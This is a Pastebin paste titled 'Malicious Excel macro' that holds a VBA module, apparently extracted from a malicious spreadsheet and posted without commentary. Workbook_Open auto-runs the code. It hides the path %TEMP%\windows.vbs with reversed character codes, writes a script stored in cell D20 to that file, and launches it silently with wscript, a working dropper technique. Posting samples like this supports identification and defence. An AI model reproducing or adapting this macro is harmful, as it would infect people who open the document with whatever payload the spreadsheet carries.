dynamoo

Malicious Excel macro

Dec 23rd, 2014
462
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "Ёта нига"
  2. Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = False
  8. Attribute VB_Customizable = True
  9. Sub yyyTFGGf()
  10.     sdfdfsdfdsf
  11. End Sub
  12. Sub fdgfdgdfg()
  13.     yyyTFGGf
  14. End Sub
  15. Sub Workbook_Open()
  16.     yyyTFGGf
  17. End Sub
  18. Sub sdfdfsdfdsf()
  19.  
  20. Dim iKJINJdg
  21. iKJINJdg = StrReverse(Chr$(115) & Chr$(98) & Chr$(118) & Chr$(46) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(119) & Chr$(92) & Chr$(37) & Chr$(80) & Chr$(77) & Chr$(69) & Chr$(84) & Chr$(37))
  22.  
  23. '==================================================
  24. Dim hgGVIKJ
  25. Set hgGVIKJ = CreateObject("WScript.Shell")
  26.  
  27. iKJINJdg = hgGVIKJ.ExpandEnvironmentStrings(iKJINJdg)
  28.  
  29. Set s = CreateObject("ADODB.Stream")
  30. s.Mode = 3
  31. s.Type = 2
  32. s.Open
  33. s.WriteText Worksheets("Excel").Range("D20").Value
  34. Call s.SaveToFile(iKJINJdg, 2)
  35. hgGVIKJ.Run "wscript """ & iKJINJdg & """", 0, 0
  36.  
  37. End Sub
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×